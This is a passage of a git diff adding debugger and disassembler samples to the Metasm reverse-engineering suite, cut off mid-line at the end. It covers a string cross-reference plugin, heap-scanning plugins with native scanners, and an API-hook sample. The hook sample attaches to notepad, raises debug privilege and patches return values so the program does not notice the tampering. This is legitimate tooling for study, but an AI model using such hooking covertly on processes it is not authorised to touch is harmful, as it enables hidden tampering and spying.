/dev/null +++ b/lib/metasm/samples/dasm-plugins/stringsxrefs.rb @@ -0,0 +1,28 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# metasm dasm plugin +# walks all disassembled instructions referencing an address +# if this address points a C string, show that in the instruction comments +# esp. useful after a disassemble_fast + +def stringsxrefs(maxsz = 32) + @decoded.each_value { |di| + next if not di.kind_of?(DecodedInstruction) + di.instruction.args.grep(Expression).each { |e| + if str = decode_strz(e) and str.length >= 4 and str =~ /^[\x20-\x7e]*$/ + di.add_comment str[0, maxsz].inspect + add_xref(normalize(e), Xref.new(:r, di.address, 1)) + end + } + } + nil +end + +if gui + stringsxrefs + gui.gui_update +end diff --git a/lib/metasm/samples/dasmnavig.rb b/lib/metasm/samples/dasmnavig.rb index fdf55d069a..8c59eb0e83 100644 --- a/lib/metasm/samples/dasmnavig.rb +++ b/lib/metasm/samples/dasmnavig.rb @@ -115,7 +115,7 @@ class Viewer $stdout.write Ansi::ClearScreen begin loop do - refresh if not s = IO.select([$stdin], nil, nil, 0) + refresh if not IO.select([$stdin], nil, nil, 0) handle_key(Ansi.getkey) end ensure diff --git a/lib/metasm/samples/dbg-apihook.rb b/lib/metasm/samples/dbg-apihook.rb index da800a082a..02b8c1447a 100644 --- a/lib/metasm/samples/dbg-apihook.rb +++ b/lib/metasm/samples/dbg-apihook.rb @@ -17,6 +17,8 @@ require 'metasm' class ApiHook + attr_accessor :dbg + # rewrite this function to list the hooks you want # return an array of hashes def setup @@ -33,19 +35,31 @@ class ApiHook raise 'no such process' if not process dbg = process.debugger end - dbg.loadallsyms @dbg = dbg - setup.each { |h| setup_hook(h) } - init_prerun if respond_to?(:init_prerun) # allow subclass to do stuff before main loop - @dbg.run_forever + begin + setup.each { |h| setup_hook(h) } + init_prerun if respond_to?(:init_prerun) # allow subclass to do stuff before main loop + @dbg.run_forever + rescue Interrupt + @dbg.detach #rescue nil + end end # setup one function hook def setup_hook(h) + @las ||= false + if not h[:lib] and not @las + @dbg.loadallsyms + @las = false + elsif h[:lib] + # avoid loadallsyms if specified (regexp against pathname, not exported lib name) + @dbg.loadsyms(h[:lib]) + end + pre = "pre_#{h[:hookname] || h[:function]}" post = "post_#{h[:hookname] || h[:function]}" - @nargs = h[:nargs] || method(pre).arity if respond_to?(pre) + nargs = h[:nargs] || method(pre).arity if respond_to?(pre) if target = h[:address] elsif target = h[:rva] @@ -56,7 +70,8 @@ class ApiHook target = h[:function] end - @dbg.bpx(target) { + @dbg.bpx(target, false, h[:condition]) { + @nargs = nargs catch(:finish) { @cur_abi = h[:abi] @ret_longlong = h[:ret_longlong] @@ -206,7 +221,8 @@ class MyHook < ApiHook #patch_retval(42) # finish messing with the args: fake the nrofbyteswritten - handle, pbuf, size, pwritten, overlap = arglistcopy + #handle, pbuf, size, pwritten, overlap = arglistcopy + size, pwritten = arglistcopy.values_at(2, 3) written = @dbg.memory_read_int(pwritten) if written == size # if written everything, patch the value so that the program dont detect our intervention @@ -217,8 +233,7 @@ class MyHook < ApiHook end end -# name says it all -Metasm::WinOS.get_debug_privilege +Metasm::OS.current.get_debug_privilege if Metasm::OS.current.respond_to? :get_debug_privilege # run our Hook engine on a running 'notepad' instance MyHook.new('notepad') diff --git a/lib/metasm/samples/dbg-plugins/heapscan.rb b/lib/metasm/samples/dbg-plugins/heapscan.rb new file mode 100644 index 0000000000..ad40fa2522 --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan.rb @@ -0,0 +1,283 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# metasm debugger plugin +# adds some heap_* functions to interract with the target heap chunks +# functions: +# heap_scan, scan for malloc chunks in the heaps and xrefs between them +# heap_scanstruct, scan for arrays/linkedlists in the chunk graph +# heap_chunk [addr], display a chunk +# heap_array [addr], display an array of chunks from their root +# heap_list [addr], display a linkedlist +# heap_strscan [str], scan the memory for a raw string, display chunks xrefs +# heap_snap, make a snapshot of the currently displayed structure, hilight fields change + + +# use precompiled native version when available +$heapscan_dir = File.join(File.dirname(plugin_filename).gsub('\\', '/'), 'heapscan') +require File.join($heapscan_dir, 'heapscan') + +fname = case OS.current.shortname +when 'linos' + 'compiled_heapscan_lin' +when 'winos' + case OS.current.version[0] + when 5; 'compiled_heapscan_win' + when 6; 'compiled_heapscan_win7' + end +end +fname = File.join($heapscan_dir, fname) +if not File.exist?(fname + '.so') and File.exist?(fname + '.c') + puts "compiling native scanner..." + exe = DynLdr.host_exe.compile_c_file(DynLdr.host_cpu, fname + '.c') + DynLdr.compile_binary_module_hack(exe) + exe.encode_file(fname + '.so', :lib) +end +require fname if File.exist?(fname + '.so') + +def heapscan_time(s='') + @heapscan_time ||= nil + t = Time.now + log s + ' %.2fs' % (t-@heapscan_time) if @heapscan_time and s != '' + @heapscan_time = t + Gui.main_iter if gui +end + +def heap; @heap ; end +def heap=(h) ; @heap = h ; end + +def heapscan_scan(xr=true) + heaps = [] + mmaps = [] + libc = nil + pr = os_process + pr.mappings.each { |a, l, p, f| + case f.to_s + when /heap/ + heaps << [a, l] + when /libc[^a-zA-Z]/ + libc ||= a if p == 'r-xp' + when '' + mmaps << [a, l] + end + } + + heapscan_time '' + @disassembler.parse_c '' + if pr and OS.current.name =~ /winos/i + if OS.current.version[0] == 5 + @heap = WindowsHeap.new(self) + @heap.cp = @disassembler.c_parser + @heap.cp.parse_file File.join($heapscan_dir, 'winheap.h') unless @heap.cp.toplevel.struct['_HEAP'] + else + @heap = Windows7Heap.new(self) + @heap.cp = @disassembler.c_parser + @heap.cp.parse_file File.join($heapscan_dir, 'winheap7.h') unless @heap.cp.toplevel.struct['_HEAP'] + end + @heap.heaps = heaps + else + @heap = LinuxHeap.new(self) + @heap.cp = @disassembler.c_parser + @heap.mmaps = mmaps + @heap.scan_libc(libc) + heapscan_time "libc!main_arena #{'%x' % @heap.main_arena_ptr}" + end + + hsz = 0 + (heaps + mmaps).each { |a, l| + hsz += l + @heap.range.update a => l + } + + log "#{hsz/1024/1024}M heap" + + @heap.scan_chunks + heapscan_time "#{@heap.chunks.length} chunks" + return if not xr + + @heap.scan_chunks_xr + heapscan_time "#{@heap.xrchunksto.length} src, #{@heap.xrchunksfrom.length} dst" +end + +def heapscan_structs + heapscan_time + @heap.bucketize + heapscan_time "#{@heap.buckets.length} buckets" + + @heap.find_arrays + heapscan_time "#{@heap.allarrays.length} arrays (#{@heap.allarrays.flatten.length} elems)" + + @heap.find_linkedlists + heapscan_time "#{@heap.alllists.length} lists (#{@heap.alllists.flatten.length} elems)" +end + +def heapscan_kernels + heapscan_time + @heap.find_kernels + heapscan_time "#{@heap.kernels.length} kernels" +end + +def heapscan_roots + heapscan_time + @heap.find_roots + heapscan_time "#{@heap.roots.length} roots" +end + +def heapscan_graph + heapscan_time + @heap.dump_graph + heapscan_time 'graph.gv' +end + +def gui_show_list(addr) + a = resolve(addr) + #@heap.cp.parse("struct ptr { void *ptr; };") if not @heap.cp.toplevel.struct['ptr'] + h = @heap.linkedlists[a] + off = h.keys.first + lst = h[off] + + if not st = lst.map { |l| @heap.chunk_struct[l] }.compact.first + st = Metasm::C::Struct.new + st.name = "list_#{'%x' % lst.first}" + st.members = [] + (@heap.chunks[lst.first] / 4).times { |i| + n = "u#{i}" + t = Metasm::C::BaseType.new(:int) + if i == off/4 + n = "next" + t = Metasm::C::Pointer.new(st) + end + st.members << Metasm::C::Variable.new(n, t) + } + @heap.cp.toplevel.struct[st.name] = st + end + lst.each { |l| @heap.chunk_struct[l] = st } + + $ghw.addr_struct = {} + lst.each { |aa| + $ghw.addr_struct[aa] = @heap.cp.decode_c_struct(st.name, @memory, aa) + } + gui.parent_widget.mem.focus_addr(lst.first, :graphheap) +end + +def gui_show_array(addr) + head = resolve(addr) + e = @heap.xrchunksto[head].to_a.find { |ee| @heap.arrays[ee] and @heap.arrays[ee][head] } + return if not e + lst = @heap.arrays[e][head] + + if not st = @heap.chunk_struct[head] + st = Metasm::C::Struct.new + st.name = "array_#{'%x' % head}" + st.members = [] + (@heap.chunks[head] / 4).times { |i| + n = "u#{i}" + v = @memory[head+4*i, 4].unpack('L').first + if @heap.chunks[v] + t = Metasm::C::Pointer.new(Metasm::C::BaseType.new(:void)) + else + t = Metasm::C::BaseType.new(:int) + end + st.members << Metasm::C::Variable.new(n, t) + } + @heap.cp.toplevel.struct[st.name] ||= st + end + @heap.chunk_struct[head] = st + + $ghw.addr_struct = { head => @heap.cp.decode_c_struct(st.name, @memory, head) } + + if not st = lst.map { |l| @heap.chunk_struct[l] }.compact.first + e = lst.first + st = Metasm::C::Struct.new + st.name = "elem_#{'%x' % head}" + st.members = [] + (@heap.chunks[e] / 4).times { |i| + n = "u#{i}" + v = @memory[e+4*i, 4].unpack('L').first + if @heap.chunks[v] + t = Metasm::C::Pointer.new(Metasm::C::BaseType.new(:void)) + else + t = Metasm::C::BaseType.new(:int) + end + st.members << Metasm::C::Variable.new(n, t) + } + @heap.cp.toplevel.struct[st.name] ||= st + end + lst.each { |l| @heap.chunk_struct[l] = st } + + lst.each { |aa| + $ghw.addr_struct[aa] = @heap.cp.decode_c_struct(st.name, @memory, aa) + } + gui.parent_widget.mem.focus_addr(head, :graphheap) +end + + +if gui + require File.join($heapscan_dir, 'graphheap') + $ghw = Metasm::Gui::GraphHeapWidget.new(@disassembler, gui.parent_widget.mem) + gui.parent_widget.mem.addview :graphheap, $ghw + $ghw.show if $ghw.respond_to?(:show) + + gui.new_command('heap_scan', 'scan the heap(s)') { |*a| heapscan_scan ; $ghw.heap = @heap } + gui.new_command('heap_scan_noxr', 'scan the heap(s), no xrefs') { |*a| heapscan_scan(false) ; $ghw.heap = @heap } + gui.new_command('heap_scan_xronly', 'scan the heap(s) for xrefs') { |*a| $ghw.heap.scan_chunks_xr } + gui.new_command('heap_scanstructs', 'scan the heap for arrays/lists') { |*a| heapscan_structs } + gui.new_command('heap_list', 'show a linked list') { |a| + if a.to_s != '' + gui_show_list(a) + else + l = [['addr', 'len']] + @heap.alllists.each { |al| + l << [Expression[al.first], al.length] + } + gui.listwindow('lists', l) { |*aa| gui_show_list(aa[0][0]) } + end + } + gui.new_command('heap_array', 'show an array') { |a| + if a.to_s != '' + gui_show_array(a) + else + l = [['addr', 'len']] + @heap.allarrays.each { |al| + l << [Expression[al.first], al.length] + } + gui.listwindow('arrays', l) { |*aa| gui_show_array(aa[0][0]) } + end + } + gui.new_command('heap_chunk', 'show a chunk') { |a| + a = resolve(a) + gui.parent_widget.mem.focus_addr(a, :graphheap) + $ghw.do_focus_addr(a) + } + gui.new_command('heap_strscan', 'scan a string') { |a| + sa = pattern_scan(a) + log "found #{sa.length} strings : #{sa.map { |aa| Expression[aa] }.join(' ')}" + sa.each { |aa| + next if not ck = @heap.find_chunk(aa) + log "ptr #{Expression[aa]} in chunk #{Expression[ck]} (#{Expression[@heap.chunks[ck]]}) in list #{@heap.linkedlists && @heap.linkedlists[ck] && true} in array #{@heap.arrays[ck].map { |k, v| "#{Expression[k]} (#{v.length})" }.join(', ') if @heap.arrays and @heap.arrays[ck]}" + } + } + gui.new_command('heap_ptrscan', 'scan a pointer') { |a| + a = resolve(a) + if @heap.chunks[a] + pa = @heap.xrchunksfrom[a].to_a + else + pa = pattern_scan(Expression.encode_imm(a, @cpu.size/8, @cpu.endianness)) + end + log "found #{pa.length} pointers : #{pa.map { |aa| Expression[aa] }.join(' ')}" + pa.each { |aa| + next if not ck = @heap.find_chunk(aa) + log "ptr @#{Expression[aa]} in chunk #{Expression[ck]} (#{Expression[@heap.chunks[ck]]}) in list #{@heap.linkedlists && @heap.linkedlists[ck] && true} in array #{@heap.arrays[ck].map { |k, v| "#{Expression[k]} (#{v.length})" }.join(', ') if @heap.arrays and @heap.arrays[ck]}" + } + } + + gui.new_command('heap_snap', 'snapshot the current heap struct') { |a| + $ghw.snap + } + gui.new_command('heap_snap_add', 'snapshot, ignore fields changed between now and last snap') { |a| + $ghw.snap_add + } +end diff --git a/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_lin.c b/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_lin.c new file mode 100644 index 0000000000..1ce164ee66 --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_lin.c @@ -0,0 +1,155 @@ +#ifdef __ELF__ +asm .pt_gnu_stack rw; +#endif +typedef uintptr_t VALUE; +static VALUE const_File; +static VALUE const_LinuxHeap; +VALUE rb_ary_new(void); +VALUE rb_ary_push(VALUE, VALUE); +extern VALUE *rb_cObject __attribute__((import)); +VALUE rb_const_get(VALUE, VALUE); +void rb_define_method(VALUE, char*, VALUE(*)(), int); +VALUE rb_funcall(VALUE recv, unsigned int id, int nargs, ...); +VALUE rb_gv_get(const char*); +VALUE rb_intern(char*); +VALUE rb_ivar_get(VALUE, unsigned int); +VALUE rb_iv_get(VALUE, char*); +void *rb_method_node(VALUE, unsigned int); +VALUE rb_obj_as_string(VALUE); +VALUE rb_str_append(VALUE, VALUE); +VALUE rb_str_cat2(VALUE, const char*); +VALUE rb_str_new2(const char*); +VALUE rb_hash_aset(VALUE, VALUE, VALUE); +VALUE rb_hash_aref(VALUE, VALUE); +VALUE rb_uint2inum(VALUE); +VALUE rb_num2ulong(VALUE); +char *rb_string_value_ptr(VALUE*); + + +int printf(char*, ...); + +static VALUE heap_entry(void *heap, VALUE idx, VALUE psz) +{ + if (psz == 4) + return (VALUE)(((__int32*)heap)[idx]); + return (VALUE)(((__int64*)heap)[idx]); +} + +static VALUE m_LinuxHeap23scan_heap(VALUE self, VALUE vbase, VALUE vlen, VALUE ar) +{ + VALUE *heap; + VALUE chunks; + VALUE base = rb_num2ulong(vbase); + VALUE len = vlen >> 1; + VALUE sz, clen; + VALUE page; + VALUE psz = rb_iv_get(self, "@ptsz") >> 1; + VALUE ptr = 0; + + chunks = rb_iv_get(self, "@chunks"); + page = rb_funcall(self, rb_intern("pagecache"), 2, vbase, vlen); + heap = rb_string_value_ptr(&page); + + sz = heap_entry(heap, 1, psz); + if (heap_entry(heap, 0, psz) != 0 || (sz & 1) != 1) + return 4; + + base += 8; + + for (;;) { + clen = sz & -8; + ptr += clen/psz; + if (ptr >= len/psz || clen == 0) + break; + + sz = heap_entry(heap, ptr+1, psz); + if (sz & 1) + rb_hash_aset(chunks, rb_uint2inum(base), ((clen-psz)<<1)|1); + base += clen; + } + + rb_funcall(self, rb_intern("del_fastbin"), 1, ar); + + return 4; +} + + + +static VALUE m_LinuxHeap23scan_heap_xr(VALUE self, VALUE vbase, VALUE vlen) +{ + VALUE *heap; + VALUE chunks, xrchunksto, xrchunksfrom; + VALUE psz = rb_iv_get(self, "@ptsz") >> 1; + VALUE base = rb_num2ulong(vbase) + 2*psz; + VALUE len = vlen >> 1; + VALUE sz, clen; + VALUE page; + + chunks = rb_iv_get(self, "@chunks"); + xrchunksto = rb_iv_get(self, "@xrchunksto"); + xrchunksfrom = rb_iv_get(self, "@xrchunksfrom"); + page = rb_funcall(self, rb_intern("pagecache"), 2, vbase, vlen); + heap = rb_string_value_ptr(&page); + + sz = heap_entry(heap, 1, psz); + if (heap_entry(heap, 0, psz) != 0 || (sz & 1) != 1) + return 4; + + /* re-walk the heap, simpler than iterating over @chunks */ + VALUE ptr = 0; + VALUE ptr0, ptrl; + for (;;) { + clen = sz & -8; + ptr0 = ptr+2; + ptrl = clen/psz-1; + ptr += clen/psz; + if (ptr >= len/psz || clen == 0) + break; + + sz = heap_entry(heap, ptr+1, psz); + if ((sz & 1) && + ((rb_hash_aref(chunks, rb_uint2inum(base))|4) != 4)) { + VALUE tabto = 0; + VALUE tabfrom; + while (ptrl--) { + VALUE p = heap_entry(heap, ptr0++, psz); + //if (p == base) // ignore self-references + // continue; + if ((rb_hash_aref(chunks, rb_uint2inum(p))|4) != 4) { + if (!tabto) { + tabto = rb_ary_new(); + rb_hash_aset(xrchunksto, rb_uint2inum(base), tabto); + } + rb_ary_push(tabto, rb_uint2inum(p)); + + tabfrom = rb_hash_aref(xrchunksfrom, rb_uint2inum(p)); + if ((tabfrom|4) == 4) { + tabfrom = rb_ary_new(); + rb_hash_aset(xrchunksfrom, rb_uint2inum(p), tabfrom); + } + rb_ary_push(tabfrom, rb_uint2inum(base)); + } + } + } + base += clen; + } + return 4; +} + + + +static void do_init_once(void) +{ + const_LinuxHeap = rb_const_get(*rb_cObject, rb_intern("Metasm")); + const_LinuxHeap = rb_const_get(const_LinuxHeap, rb_intern("LinuxHeap")); + rb_define_method(const_LinuxHeap, "scan_heap", m_LinuxHeap23scan_heap, 3); + rb_define_method(const_LinuxHeap, "scan_heap_xr", m_LinuxHeap23scan_heap_xr, 2); +} + + + +int Init_compiled_heapscan_lin __attribute__((export))(void) +{ + do_init_once(); + return 0; +} diff --git a/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_win.c b/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_win.c new file mode 100644 index 0000000000..f29c24ec8e --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan/compiled_heapscan_win.c @@ -0,0 +1,128 @@ +typedef uintptr_t VALUE; +static VALUE const_WindowsHeap; +VALUE rb_ary_new(void); +VALUE rb_ary_push(VALUE, VALUE); +extern VALUE *rb_cObject __attribute__((import)); +VALUE rb_const_get(VALUE, VALUE); +void rb_define_method(VALUE, char*, VALUE(*)(), int); +VALUE rb_funcall(VALUE recv, unsigned int id, int nargs, ...); +VALUE rb_intern(char*); +VALUE rb_iv_get(VALUE, char*); +VALUE rb_hash_aset(VALUE, VALUE, VALUE); +VALUE rb_hash_aref(VALUE, VALUE); +VALUE rb_uint2inum(VALUE); +VALUE rb_num2ulong(VALUE); +char *rb_string_value_ptr(VALUE*); +VALUE rb_gc_enable(void); +VALUE rb_gc_disable(void); + +#include "winheap.h" + +#define INT2FIX(i) (((i) << 1) | 1) + +static VALUE m_WindowsHeap23scan_heap_segment(VALUE self, VALUE vfirst, VALUE vlen) +{ + char *heapcpy; + struct _HEAP_ENTRY *he; + VALUE chunks; + VALUE first = rb_num2ulong(vfirst); + VALUE len = vlen >> 1; + VALUE off; + VALUE page; + VALUE sz; + + chunks = rb_iv_get(self, "@chunks"); + page = rb_funcall(self, rb_intern("pagecache"), 2, vfirst, INT2FIX(len)); + heapcpy = rb_string_value_ptr(&page); + + rb_gc_disable(); + off = 0; + while (off < len) { + he = heapcpy + off; + if (he->Flags & 1) { + sz = (VALUE)he->Size*8; + if (sz > he->UnusedBytes) + sz -= he->UnusedBytes; + else + sz = 0; + rb_hash_aset(chunks, rb_uint2inum(first+off+sizeof(*he)), INT2FIX(sz)); + } + off += he->Size*8; + } + rb_gc_enable(); + + return 4; +} + +static VALUE m_WindowsHeap23scan_heap_segment_xr(VALUE self, VALUE vfirst, VALUE vlen) +{ + char *heapcpy; + struct _HEAP_ENTRY *he; + VALUE chunks; + VALUE first = rb_num2ulong(vfirst); + VALUE len = vlen >> 1; + VALUE off; + VALUE page; + VALUE xrchunksto = rb_iv_get(self, "@xrchunksto"); + VALUE xrchunksfrom = rb_iv_get(self, "@xrchunksfrom"); + + chunks = rb_iv_get(self, "@chunks"); + page = rb_funcall(self, rb_intern("pagecache"), 2, vfirst, INT2FIX(len)); + heapcpy = rb_string_value_ptr(&page); + + rb_gc_disable(); + off = 0; + VALUE *ptr0, base, cklen; + while (off < len) { + he = heapcpy + off; + // address of the chunk + base = first + off + sizeof(*he); + if ((he->Flags & 1) && + (((cklen = rb_hash_aref(chunks, rb_uint2inum(base)))|4) != 4)) { + cklen /= 2*sizeof(void*); // /2 == FIX2INT + // pointer to the data for the chunk in our copy of the heap from pagecache + ptr0 = (VALUE*)(heapcpy + off + sizeof(*he)); + VALUE tabto = 0; + VALUE tabfrom; + while (cklen--) { + VALUE p = *ptr0++; + //if (p == base) // ignore self-references + // continue; + if ((rb_hash_aref(chunks, rb_uint2inum(p))|4) != 4) { + if (!tabto) { + tabto = rb_ary_new(); + rb_hash_aset(xrchunksto, rb_uint2inum(base), tabto); + } + rb_ary_push(tabto, rb_uint2inum(p)); + + tabfrom = rb_hash_aref(xrchunksfrom, rb_uint2inum(p)); + if ((tabfrom|4) == 4) { + tabfrom = rb_ary_new(); + rb_hash_aset(xrchunksfrom, rb_uint2inum(p), tabfrom); + } + rb_ary_push(tabfrom, rb_uint2inum(base)); + } + } + } + if (!he->Size) + break; + off += he->Size*8; + } + rb_gc_enable(); + + return 4; +} + +static void do_init_once(void) +{ + const_WindowsHeap = rb_const_get(*rb_cObject, rb_intern("Metasm")); + const_WindowsHeap = rb_const_get(const_WindowsHeap, rb_intern("WindowsHeap")); + rb_define_method(const_WindowsHeap, "scan_heap_segment", m_WindowsHeap23scan_heap_segment, 2); + rb_define_method(const_WindowsHeap, "scan_heap_segment_xr", m_WindowsHeap23scan_heap_segment_xr, 2); +} + +int Init_compiled_heapscan_win __attribute__((export))(void) +{ + do_init_once(); + return 0; +} diff --git a/lib/metasm/samples/dbg-plugins/heapscan/graphheap.rb b/lib/metasm/samples/dbg-plugins/heapscan/graphheap.rb new file mode 100644 index 0000000000..9786fe5df2 --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan/graphheap.rb @@ -0,0 +1,616 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +module ::Metasm +module Gui +class GraphHeapWidget < GraphViewWidget + attr_accessor :heap, :addr_struct, :snapped + # addr_struct = 0x234 => AllocCStruct + + def set_color_arrow(b1, b2) + if b1 == @caret_box or b2 == @caret_box + draw_color :arrow_hl + else + draw_color :arrow_cond + end + end + + def setup_contextmenu(b, m) + addsubmenu(m, '_follow pointer') { + next if not lm = b[:line_member][@caret_y] + addr = b[:line_struct][@caret_y][lm] + next if not @heap.chunks[addr] + if lm.kind_of?(::Integer) + t = b[:line_struct][@caret_y].struct.type + else + t = lm.type + end + if t.pointer? and t.pointed.untypedef.kind_of? C::Union + @heap.chunk_struct[addr] ||= t.pointed.untypedef + end + st = @heap.chunk_struct[addr] || create_struct(addr) + ed = @dasm.get_edata_at(addr) + @addr_struct[addr] = @heap.cp.decode_c_struct(st.name, ed.data, ed.ptr) + gui_update + } + addsubmenu(m, '_hide box') { + @selected_boxes.each { |sb| + @addr_struct.delete sb.id if @addr_struct.length > 1 + } + @curcontext.root_addrs = struct_find_roots(@addr_struct.keys.first) + gui_update + } + super(b, m) + end + + def keypress(k) + case k + when ?u + # update display (refresh struct member values) + @parent_widget.parent_widget.console.commands['refresh'][] + gui_update + when ?t + # change struct field type + if @selected_boxes.length > 1 + # mass-retype chunks + st = @addr_struct[@selected_boxes[0].id].struct + inputbox("replacement struct for selected chunks", :text => st.name) { |n| + next if not nst = @heap.cp.toplevel.struct[n] + @selected_boxes.each { |sb| + as = @addr_struct[sb.id] + @heap.chunk_struct[sb.id] = nst + @addr_struct[sb.id] = @heap.cp.decode_c_struct(n, as.str, as.stroff) + } + gui_update + } + elsif b = @caret_box + if @caret_y == 0 + as = @addr_struct[b.id] + st = as.struct + inputbox("replacement struct for #{st.name}", :text => st.name) { |n| + next if not nst = @heap.cp.toplevel.struct[n] + @heap.chunk_struct[b.id] = nst + @addr_struct[b.id] = @heap.cp.decode_c_struct(n, as.str, as.stroff) + gui_update + } + elsif m = b[:line_member][@caret_y] + if m.kind_of?(Integer) + # XXX Array, need to find the outer struct + mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1] + ar = b[:line_struct][@caret_y] + st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct } + raise '?' if not st + st = st.struct + m = st.fldlist[mn] + else + st = b[:line_struct][@caret_y].struct + end + inputbox("new type for #{m.name}", :text => m.dump_def(@heap.cp.toplevel)[0].join(' ')) { |nn| + nil while @heap.cp.readtok + @heap.cp.lexer.feed nn + if not v = C::Variable.parse_type(@heap.cp, @heap.cp.toplevel, true) + nil while @heap.cp.readtok + raise 'bad type' + end + v.parse_declarator(@heap.cp, @heap.cp.toplevel) + nt = v.type + nsz = @heap.cp.sizeof(nt) + osz = @heap.cp.sizeof(m) + if nsz > osz and st.kind_of?(C::Struct) + idx = st.members.index(m) + # eat next members + while nsz > osz + break if idx+1 >= st.members.length + sz = @heap.cp.sizeof(st.members.delete_at(idx+1)) + osz += sz + end + end + if nsz < osz and st.kind_of?(C::Struct) + idx = st.members.index(m) + pos = st.offsetof(@heap.cp, m) + # fill gap with bytes + idx += 1 + while nsz < osz + st.members[idx, 0] = [C::Variable.new(('unk_%x' % (pos+nsz)), C::BaseType.new(:__int8, :unsigned))] + idx += 1 + nsz += 1 + end + end + m.type = nt + st.update_member_cache(@heap.cp) + gui_update + } + + end + end + when ?n + # rename struct field + if b = @caret_box + if @caret_y == 0 + st = @addr_struct[b.id].struct + inputbox("new name for #{st.name}", :text => st.name) { |nn| + raise "struct #{nn} already exists (try 't')" if @heap.cp.toplevel.struct[nn] + @heap.cp.toplevel.struct[nn] = @heap.cp.toplevel.struct.delete(st.name) + st.name = nn + gui_update + } + elsif m = b[:line_member][@caret_y] + if m.kind_of?(Integer) + mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1] + ar = b[:line_struct][@caret_y] + st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct } + raise '?' if not st + st = st.struct + m = st.fldlist[mn] + else + st = b[:line_struct][@caret_y].struct + end + inputbox("new name for #{m.name}", :text => m.name) { |nn| + m.name = nn + st.update_member_cache(@heap.cp) + gui_update + } + end + end + when ?e + # edit struct field value under the cursor + if b = @caret_box + # TODO b[:struct][line], b.[:member][line] (int for Arrays) + st = b[:line_struct][@caret_y] + mb = b[:line_member][@caret_y] + if st and mb + if mb.kind_of?(C::Variable) and mb.type.kind_of?(C::Array) and mb.type.type.kind_of?(C::BaseType) and mb.type.type.name == :char + defval = st[mb].to_array.pack('C*').gsub(/\0*$/, '').gsub(/[^\x20-\x7e]/, '.') + string = true + else + defval = st[mb] + string = false + end + inputbox("new value for #{mb.respond_to?(:name) ? mb.name : mb}", :text => defval.to_s) { |nn| + if string + am = st[mb] + (nn.unpack('C*') + [0]).each_with_index { |b_, i| am[i] = b_ } + else + st[mb] = Expression.parse_string(nn).reduce + end + gui_update + } + end + end + when ?x + # show heap xrefs to the hilighted chunk + if b = @caret_box + list = [['address', 'size']] + @heap.xrchunksfrom[b.id].to_a.each { |a| + list << [Expression[a], Expression[@heap.chunks[a]]] + } + if list.length == 1 + messagebox "no xref to #{Expression[b.id]}" + else + listwindow("heap xrefs to #{Expression[b.id]}", list) { |i| @parent_widget.focus_addr(i[0], nil, true) } + end + end + when ?I + # insert new field in struct + if b = @caret_box + if m = b[:line_member][@caret_y] + if m.kind_of?(Integer) + # XXX Array, need to find the outer struct + mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1] + ar = b[:line_struct][@caret_y] + st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct } + raise '?' if not st + st = st.struct + m = st.fldlist[mn] + else + st = b[:line_struct][@caret_y].struct + end + inputbox("new type to insert before #{m.name}", :text => m.dump_def(@heap.cp.toplevel)[0].join(' ')) { |nn| + nil while @heap.cp.readtok + @heap.cp.lexer.feed nn + if not v = C::Variable.parse_type(@heap.cp, @heap.cp.toplevel, true) + nil while @heap.cp.readtok + raise 'bad type' + end + v.parse_declarator(@heap.cp, @heap.cp.toplevel) + nt = v.type + idx = st.members.index(m) + pos = st.offsetof(@heap.cp, m) + name = oname = v.name || ('unk_%x_new' % pos) + cntr = 0 + while st.members.find { |m_| m_.name == name } + name = oname + "_#{cntr+=1}" + end + st.members[idx, 0] = [C::Variable.new(name, nt)] + st.update_member_cache(@heap.cp) + gui_update + } + + end + end + when ?S + # delete structure field + if b = @caret_box + if m = b[:line_member][@caret_y] + if m.kind_of?(Integer) + # XXX Array, need to find the outer struct + mn = b[:line_text_col][@caret_y].map { |l, c| l }.join[/(\S*)\[/, 1] + ar = b[:line_struct][@caret_y] + st = b[:line_struct][0...@caret_y].reverse.compact.find { |st_| st_.struct.kind_of?(C::Struct) and st_[mn].struct == ar.struct } + raise '?' if not st + st = st.struct + m = st.fldlist[mn] + else + st = b[:line_struct][@caret_y].struct + end + inputbox("delete #{m.name} ?") { |nn| + idx = st.members.index(m) + st.members.delete_at(idx) + st.update_member_cache(@heap.cp) + gui_update + } + + end + end + when ?+ + # append blocks linked from the currently shown blocks to the display + @addr_struct.keys.each { |ak| + @heap.xrchunksto[ak].to_a.each { |nt| + next if @addr_struct[nt] + # TODO check if the pointer is a some_struct* + st = @heap.chunk_struct[nt] || create_struct(nt) + ed = @dasm.get_edata_at(nt) + @addr_struct[nt] = @heap.cp.decode_c_struct(st.name, ed.data, ed.ptr) + } + } + gui_update + when ?- + # remove graph leaves in an attempt to undo ?+ + unk = @addr_struct.keys.find_all { |ak| + (@heap.xrchunksto[ak].to_a & @addr_struct.keys).empty? + } + unk.each { |ak| @addr_struct.delete ak if @addr_struct.length > 1 } + gui_update + else return super(k) + end + true + end + + # create the graph objects in ctx + def build_ctx(ctx) + # create boxes + todo = ctx.root_addrs.dup & @addr_struct.keys + todo << @addr_struct.keys.first if todo.empty? + done = [] + while a = todo.shift + next if done.include? a + done << a + ctx.new_box a, 